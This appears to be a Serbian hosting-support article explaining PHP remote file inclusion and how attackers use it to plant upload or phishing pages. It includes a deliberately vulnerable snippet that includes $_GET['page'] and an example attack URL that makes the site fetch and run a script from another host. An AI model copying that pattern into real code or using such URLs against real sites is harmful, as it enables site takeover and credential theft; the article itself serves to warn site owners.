PHP include i bezbednost

Najčešći sigurnosni propust kod sajtova rađenih u PHP jeste nesmotreno korišćenje funcije include().

Uobičajeni pristup napadača je da isprobavanjem CGI parametara može otkriti propust koji je često u vezi sa načinom na koji se koristi funkcija include().

Kada se otkrrije postojanje propusta, mogu se od strane napadača poslati posebno dizajnirani CGI parametri na web sajt koji će ‘prevariti’ sajt da učita PHP stranu sa drugog servera.

Tako učitana strana može sadržati bilo šta. Na primer to može biti strana preko koje se može uploadovati bilo šta u direktorijum web sajta u bilo koje vreme. To može biti i phishing strana, o čemu možete pročitati ovde.

Napadač zatim može da posalje mail na veliki broj adresa (SPAM) predstavljajaći se kao da mail dolazi sa domena čiji je sajt napadnut i sadrži link na napadnuti sajt. Često se u poruci zahteva da izvrši promena kontakt podataka ili slično.

Pošto login stranica izgleda identično, mnogi budu prevareni i ostavljaju login podatke jer je tako zahtevano u mailu koji su dobili.

Lažna login strana zatim šalje login podatke na mail napadača koji nakon toga dolazi u posed velikog broja ispravnih login podataka koje može iskoristiti u razne svrhe.

Primer PHP include propusta

Ako imate sajt http://www.mojdomen.rs sa stranicom index.php sa sledećim sadržajem:

<?
$strana = $_GET['page']
?>
<html>
<body>
<? include $_GET['page'].".php"; ?>
</body>
</html>

Posetilac može učitati sledeću stranu: http://www.mojdomen.rs/index.php?page=http://www.nekidomen.rs/exploit.txt.

Predpostavimo da se na strani http://www.nekidomen.rs/exploit.txt nallazi upload PHP skript. Kada posetite gore navedeni URL otvoriće se ta strana. Koristeći include() na način opisan u ovom primeru, znači da se strana može učitati sa http://www.nekidomen.rs, a da se izvršava na http://www.mojdomen.rs.

Posetioci sada mogu da uploaduju sadržaj na http://www.mojdomen.rs preko ove strane. Ovo naravno, ne mora da bude upload strana. To može biti strana koja ce recimo izmeniti index.php stranu, obrisati ili dodati nesto na sajt, ili će postaviti phishing sajt.

Was this article helpful?

Related Articles